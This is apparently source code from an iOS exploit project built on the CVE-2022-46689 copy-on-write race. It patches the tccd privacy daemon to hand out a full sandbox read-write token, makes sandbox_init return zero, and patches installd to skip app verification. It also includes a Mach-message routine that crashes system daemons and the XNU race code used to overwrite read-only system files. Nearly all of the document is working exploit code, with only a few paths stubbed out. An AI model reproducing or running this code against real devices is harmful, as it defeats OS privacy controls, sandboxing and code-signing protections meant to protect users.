case LC_SEGMENT_64: {
struct segment_command_64* segment = (struct segment_command_64*)load_command;
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
*data_seg = segment;
}
break;
}
case LC_SYMTAB: {
*stabout = (struct symtab_command*)load_command;
break;
}
case LC_DYSYMTAB: {
*dystabout = (struct dysymtab_command*)load_command;
break;
}
}
load_command = ((void*)load_command) + load_command->cmdsize;
}
return true;
}
static uint64_t pchfind_get_padding(struct segment_command_64* segment) {
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
struct section_64* last_section = &section_array[segment->nsects - 1];
return last_section->offset + last_section->size;
}
static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) {
void* str_offset = memmem(em, el, n, strlen(n) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - em;
for (int i = 0; i < el; i += 8) {
uint64_t val = *(uint64_t*)(em + i);
if ((val & 0xfffffffful) == str_file_offset) {
return i;
}
}
return 0;
}
static uint64_t pchfind_return_0(void* exmp, size_t el) {
// TCCDSyncAccessAction::sequencer
// mov x0, #0
// ret
static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(exmp, el, ndle, sizeof(ndle));
if (!offset) {
return 0;
}
return offset - exmp;
}
static uint64_t pchfind_got(void* ecm, size_t executable_length,
struct segment_command_64* data_const_segment,
struct symtab_command* symtab_command,
struct dysymtab_command* dysymtab_command,
const char* target_symbol_name) {
uint64_t target_symbol_index = 0;
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
struct nlist_64* sym =
((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index;
const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx;
if (strcmp(sym_name, target_symbol_name)) {
continue;
}
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap));
target_symbol_index = sym_index;
break;
}
struct section_64* section_array =
((void*)data_const_segment) + sizeof(struct segment_command_64);
struct section_64* first_section = &section_array[0];
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
strcmp(first_section->sectname, "__got") == 0)) {
return 0;
}
uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff;
for (int i = 0; i < first_section->size; i += 8) {
uint64_t val = *(uint64_t*)(ecm + first_section->offset + i);
uint64_t indirect_table_entry = (val & 0xfffful);
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
return first_section->offset + i;
}
}
return 0;
}
static bool pchfind(void* execmap, size_t executable_length,
struct fda_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
&dysymtab_command)) {
// printf("no sections\n");
return false;
}
if ((offsets->of_addr_com_apple_tcc_ =
pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) {
// printf("no com.apple.tcc. string\n");
return false;
}
if ((offsets->offset_pad_space_for_rw_string =
pchfind_get_padding(data_const_segment)) == 0) {
// printf("no padding\n");
return false;
}
if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string(
execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) {
// printf("no kTCCServiceMediaLibrary string\n");
return false;
}
if ((offsets->of_auth_got_sb_init =
pchfind_got(execmap, executable_length, data_const_segment, symtab_command,
dysymtab_command, "_sandbox_init")) == 0) {
// printf("no sandbox_init\n");
return false;
}
if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) ==
0) {
// printf("no just return 0\n");
return false;
}
struct mach_header_64* executable_header = execmap;
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
return true;
}
// MARK: - tccd patching
static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) {
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
// re-use it until next reboot.
// Returns the sandbox token if there is one, or nil if there isn't one.
//TODO WARNING REPLACE com.apple.tccd
xpc_connection_t connection = xpc_connection_create_mach_service(
"TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
// NSLog(@"event handler (xpc): %@", object);
});
xpc_connection_resume(connection);
const char* keys[] = {
// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
// "target_token", "background_session",
};
xpc_object_t values[] = {
xpc_string_create("17087.1"),
xpc_string_create("TCCAccessRequest"),
xpc_string_create("com.apple.app-sandbox.read-write"),
xpc_null_create(),
xpc_bool_create(false),
xpc_null_create(),
xpc_bool_create(false),
};
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
// NSLog(@"%@", response_message);
#endif
xpc_connection_send_message_with_reply(
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
^(xpc_object_t object) {
if (!object) {
//object is nil???
// NSLog(@"wqfewfw9");
completion(nil);
return;
}
//response:
// NSLog(@"qwdqwd%@", object);
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
// NSLog(@"xpc error?");
completion(nil);
return;
}
//debug description:
// NSLog(@"wqdwqu %@", [object debugDescription]);
const char* extension_string = xpc_dictionary_get_string(object, "extension");
NSString* extension_nsstring =
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
completion(extension_nsstring);
});
}
static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) {
struct fda_offsets offsets = {};
if (!pchfind(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
char* mutableBytes = data.mutableBytes;
{
// rewrite com.apple.tcc. into blank string
*(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0;
}
{
// make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write"
// we need to stick this somewhere; just put it in the padding between
// the end of __objc_arrayobj and the end of __DATA_CONST
strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string),
"com.apple.app-sandbox.read-write");
struct dyld_chained_ptr_arm64e_rebase tRBase =
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.of_addr_s_kTCCSML);
tRBase.target = offsets.offset_pad_space_for_rw_string;
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.of_addr_s_kTCCSML) =
tRBase;
*(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) =
strlen("com.apple.app-sandbox.read-write");
}
if (offsets.is_arm64e) {
// make sandbox_init call return 0;
struct dyld_chained_ptr_arm64e_auth_rebase tRBase = {
.auth = 1,
.bind = 0,
.next = 1,
.key = 0, // IA
.addrDiv = 1,
.diversity = 0,
.target = offsets.of_return_0,
};
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets.of_auth_got_sb_init) =
tRBase;
} else {
// make sandbox_init call return 0;
struct dyld_chained_ptr_64_rebase tRBase = {
.bind = 0,
.next = 2,
.target = offsets.of_return_0,
};
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) =
tRBase;
}
return data;
}
static bool over_write_file(int fd, NSData* sourceData) {
for (int off = 0; off < sourceData.length; off += 0x4000) {
bool success = false;
for (int i = 0; i < 2; i++) {
if (unalign_csr(
fd, off, sourceData.bytes + off,
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
success = true;
break;
}
}
if (!success) {
return false;
}
}
return true;
}
static void grant_fda_impl(void (^completion)(NSString* extension_token,
NSError* _Nullable error)) {
// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
char* targetPath = "/Nope";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
if (fd == -1) {
// iOS 15.3 and below
// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
targetPath = "/Nope";
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
}
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = patch_tcc_daemon(targetMap, targetLength);
if (!sourceData) {
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:5
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
return;
}
if (!over_write_file(fd, sourceData)) {
over_write_file(fd, originalData);
munmap(targetMap, targetLength);
completion(
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:1
userInfo:@{
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
@"not be vulnerable to CVE-2022-46689."
}]);
return;
}
munmap(targetMap, targetLength);
// crash_with_xpc_thingy("com.apple.tccd");
sleep(1);
call_tcc_daemon(^(NSString* _Nullable extension_token) {
over_write_file(fd, originalData);
// crash_with_xpc_thingy("com.apple.tccd");
NSError* returnError = nil;
if (extension_token == nil) {
returnError =
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:2
userInfo:@{
NSLocalizedDescriptionKey : @"no extension token returned."
}];
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
returnError = [NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:3
userInfo:@{
NSLocalizedDescriptionKey : @"failed: returned a media library token "
@"instead of an app sandbox token."
}];
extension_token = nil;
}
completion(extension_token, returnError);
});
}
void grant_fda(void (^completion)(NSError* _Nullable)) {
if (!NSClassFromString(@"NSPresentationIntent")) {
// class introduced in iOS 15.0.
// TODO(zhuowei): maybe check the actual OS version instead?
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:6
userInfo:@{
NSLocalizedDescriptionKey :
@"Not supported on iOS 14 and below."
}]);
return;
}
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0];
NSURL* sourceURL =
[documentDirectory URLByAppendingPathComponent:@"fda_token.txt"];
NSError* error = nil;
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
encoding:NSUTF8StringEncoding
error:&error];
if (cachedToken) {
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
if (handle > 0) {
// cached version worked
completion(nil);
return;
}
}
grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) {
if (error) {
completion(error);
return;
}
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
if (handle <= 0) {
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:4
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
return;
}
[extension_token writeToURL:sourceURL
atomically:true
encoding:NSUTF8StringEncoding
error:&error];
completion(nil);
});
}
/// MARK - installd patch
struct daemon_remove_app_limit_offsets {
uint64_t offset_objc_method_list_t_MIInstallableBundle;
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
uint64_t offset_data_const_end_padding;
// MIUninstallRecord::supportsSecureCoding
uint64_t offset_return_true;
};
struct daemon_remove_app_limit_offsets gAppLimitOffsets = {
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
.offset_data_const_end_padding = 0x79c38,
.offset_return_true = 0x19860,
};
static uint64_t pchfind_find_rwt_base_methods(void* execmap,
size_t executable_length,
const char* needle) {
void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - execmap;
for (int i = 0; i < executable_length - 8; i += 8) {
uint64_t val = *(uint64_t*)(execmap + i);
if ((val & 0xfffffffful) != str_file_offset) {
continue;
}
// baseMethods
if (*(uint64_t*)(execmap + i + 8) != 0) {
return i + 8;
}
}
return 0;
}
static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) {
// mov w0, #1
// ret
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(execmap, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - execmap;
}
static bool pchfind_deaaamon(void* execmap, size_t executable_length,
struct daemon_remove_app_limit_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
&dysymtab_command)) {
// printf("no sections\n");
return false;
}
if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) {
// printf("no padding\n");
return false;
}
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
pchfind_find_rwt_base_methods(execmap, executable_length,
"MIInstallableBundle")) == 0) {
// printf("no MIInstallableBundle class_rw_t\n");
return false;
}
offsets->offset_objc_method_list_t_MIInstallableBundle =
(*(uint64_t*)(execmap +
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
0xffffffull;
if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) ==
0) {
// printf("no return true\n");
return false;
}
return true;
}
struct objc_method {
int32_t name;
int32_t types;
int32_t imp;
};
struct objc_method_list {
uint32_t entsizeAndFlags;
uint32_t count;
struct objc_method methods[];
};
static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset,
uint64_t new_offset, uint64_t* out_copied_length,
void (^callback)(const char* sel,
uint64_t* inout_function_pointer)) {
struct objc_method_list* original_list = mutableBytes + old_offset;
struct objc_method_list* new_list = mutableBytes + new_offset;
*out_copied_length =
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
new_list->count = original_list->count;
for (int method_index = 0; method_index < original_list->count; method_index++) {
struct objc_method* method = &original_list->methods[method_index];
// Relative pointers
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
uint64_t types_file_offset =
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
callback(sel, &imp_file_offset);
struct objc_method* new_method = &new_list->methods[method_index];
new_method->name = (int32_t)((int64_t)name_file_offset -
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
new_method->types = (int32_t)((int64_t)types_file_offset -
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
new_method->imp = (int32_t)((int64_t)imp_file_offset -
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
}
};
static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) {
struct daemon_remove_app_limit_offsets offsets = {};
if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
char* mutableBytes = data.mutableBytes;
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
uint64_t copied_size = 0;
uint64_t new_method_list_offset = current_empty_space;
patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
current_empty_space, &copied_size,
^(const char* sel, uint64_t* inout_address) {
if (strcmp(sel, "performVerificationWithError:") != 0) {
return;
}
*inout_address = offsets.offset_return_true;
});
current_empty_space += copied_size;
((struct
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
->target = new_method_list_offset;
return data;
}
bool installdaemon_patch() {
const char* targetPath = "/usr/libexec/installd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = make_installdaemon_patch(targetMap, targetLength);
if (!sourceData) {
//can't patchfind
// NSLog(@"wuiydqw98uuqwd");
return false;
}
if (!over_write_file(fd, sourceData)) {
over_write_file(fd, originalData);
munmap(targetMap, targetLength);
//can't overwrite
// NSLog(@"wfqiohuwdhuiqoji");
return false;
}
munmap(targetMap, targetLength);
crash_with_xpc_thingy("com.apple.mobile.installd");
sleep(1);
// TODO(zhuowei): for now we revert it once installd starts
// so the change will only last until when this installd exits
// over_write_file(fd, originalData);
return true;
}

View File

@@ -1,14 +1,12 @@
#ifdef MDC
#ifndef helpers_h
#define helpers_h
char* get_temp_file_path(void);
char* get_temporary_file_location_paths(void);
void test_nsexpressions(void);
char* set_up_tmp_file(void);
char* setup_temporary_file(void);
void xpc_crasher(char* service_name);
void crash_with_xpc_thingy(char* service_name);
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
#endif /* helpers_h */
#endif /* MDC */

View File

@@ -0,0 +1,139 @@
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>
char* get_temporary_file_location_paths(void) {
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}
// create a read-only test file we can target:
char* setup_temporary_file(void) {
char* path = get_temporary_file_location_paths();
// printf("path: %s\n", path);
FILE* f = fopen(path, "w");
if (!f) {
// printf("opening the tmp file failed...\n");
return NULL;
}
char* buf = malloc(PAGE_SIZE*10);
memset(buf, 'A', PAGE_SIZE*10);
fwrite(buf, PAGE_SIZE*10, 1, f);
//fclose(f);
return path;
}
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct x_p_c_w_zerozero_t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
//a=port right extraction failed: %s\n
// printf("PREFail: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
//made so: 0x%x from recv: 0x%x\n
// printf("ms 0x%x fr: 0x%x\n", so, recv);
return so;
}
// copy-pasted from an exploit I wrote in 2019...
// still works...
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
void crash_with_xpc_thingy(char* service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if(err != KERN_SUCCESS){
//unable to look up
// printf("utluqwd %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
//bad service port
// printf("wih1221udq\n");
return;
}
// allocate the client and reply port:
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
//port allocation failed:
// printf("padiuhewi %s\n", mach_error_string(err));
return;
}
mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port);
mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port);
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
//port right insertion failed:
// printf("weediuwe %s\n", mach_error_string(err));
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
//port allocation failed:
// printf("wuiq21d %s\n", mach_error_string(err));
return;
}
struct x_p_c_w_zerozero_t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
//w00t message send failed:
// printf("ondwehu %s\n", mach_error_string(err));
return;
} else {
//sent xpc w00t message\n
// printf("wq98ywqe");
}
mach_port_deallocate(mach_task_self(), so0);
mach_port_deallocate(mach_task_self(), so1);
return;
}

View File

@@ -0,0 +1,370 @@
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU
#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <fcntl.h>
#include <sys/mman.h>
//vm_unaligned_copy_switch_race
#include "vm_unalign_csr.h"
#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
struct contextual_structure {
vm_size_t ob_sizing;
vm_address_t vmaddress_zeroe;
mach_port_t memory_entry_r_o;
mach_port_t memory_entry_r_w;
dispatch_semaphore_t currently_active_sem;
pthread_mutex_t mutex_thingy;
volatile bool finished;
};
//switcheroo_thread
static void *
sro_thread(__unused void *arg)
{
kern_return_t kr;
struct contextual_structure *ctx;
ctx = (struct contextual_structure *)arg;
/* tell main thread we're ready to run */
dispatch_semaphore_signal(ctx->currently_active_sem);
while (!ctx->finished) {
/* wait for main thread to be done setting things up */
pthread_mutex_lock(&ctx->mutex_thingy);
if (ctx->finished) {
pthread_mutex_unlock(&ctx->mutex_thingy);
break;
}
/* switch e0 to RW mapping */
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->memory_entry_r_w,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
/* wait a little bit */
usleep(100);
/* switch bakc to original RO mapping */
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
/* tell main thread we're don switching mappings */
pthread_mutex_unlock(&ctx->mutex_thingy);
usleep(100);
}
return NULL;
}
//unaligned_copy_switch_race
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) {
bool retval = false;
pthread_t th = NULL;
int ret;
kern_return_t kr;
time_t start, duration;
#if 0
mach_msg_type_number_t cow_read_size;
#endif
vm_size_t copied_size;
int loops;
vm_address_t e2, e5;
struct contextual_structure context1, *ctx;
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
vm_address_t ro_addr, tmp_addr;
memory_object_size_t mo_size;
ctx = &context1;
ctx->ob_sizing = 256 * 1024;
void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file);
if (file_mapped == MAP_FAILED) {
// fprintf(stderr, "failed to map\n");
return false;
}
if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) {
// fprintf(stderr, "already the same?\n");
munmap(file_mapped, ctx->ob_sizing);
return true;
}
ro_addr = (vm_address_t)file_mapped;
ctx->vmaddress_zeroe = 0;
ctx->currently_active_sem = dispatch_semaphore_create(0);
//c=dispatch_semaphore_create
T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd");
ret = pthread_mutex_init(&ctx->mutex_thingy, NULL);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
ctx->finished = false;
ctx->memory_entry_r_w = MACH_PORT_NULL;
ctx->memory_entry_r_o = MACH_PORT_NULL;
#if 0
/* allocate our attack target memory */
kr = vm_allocate(mach_task_self(),
&ro_addr,
ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
/* initialize to 'A' */
memset((char *)ro_addr, 'A', ctx->ob_sizing);
#endif
/* make it read-only */
kr = vm_protect(mach_task_self(),
ro_addr,
ctx->ob_sizing,
TRUE, /* set_maximum */
VM_PROT_READ);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
/* make sure we can't get read-write handle on that target memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->memory_entry_r_o,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
/* take read-only handle on that target memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ,
&ctx->memory_entry_r_o,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
//c= wrong mem_entry size
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu");
/* make sure we can't map target memory as writable */
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
/* allocate a source buffer for the unaligned copy */
kr = vm_allocate(mach_task_self(),
&e5,
ctx->ob_sizing * 2,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
/* initialize to 'C' */
memset((char *)e5, 'C', ctx->ob_sizing * 2);
char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1);
memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data);
int overwrite_first_diff_offset = -1;
char overwrite_first_diff_value = 0;
for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) {
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
overwrite_first_diff_offset = off;
overwrite_first_diff_value = ((char*)ro_addr)[off];
}
}
if (overwrite_first_diff_offset == -1) {
//b=no diff?
fprintf(stderr, "uewiyfih");
return false;
}
/*
* get a handle on some writable memory that will be temporarily
* switched with the read-only mapping of our target memory to try
* and trick copy_unaligned to write to our read-only target.
*/
tmp_addr = 0;
kr = vm_allocate(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
/* initialize to 'D' */
memset((char *)tmp_addr, 'D', ctx->ob_sizing);
/* get a memory entry handle for that RW memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
tmp_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->memory_entry_r_w,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
//c=wrong mem_entry size
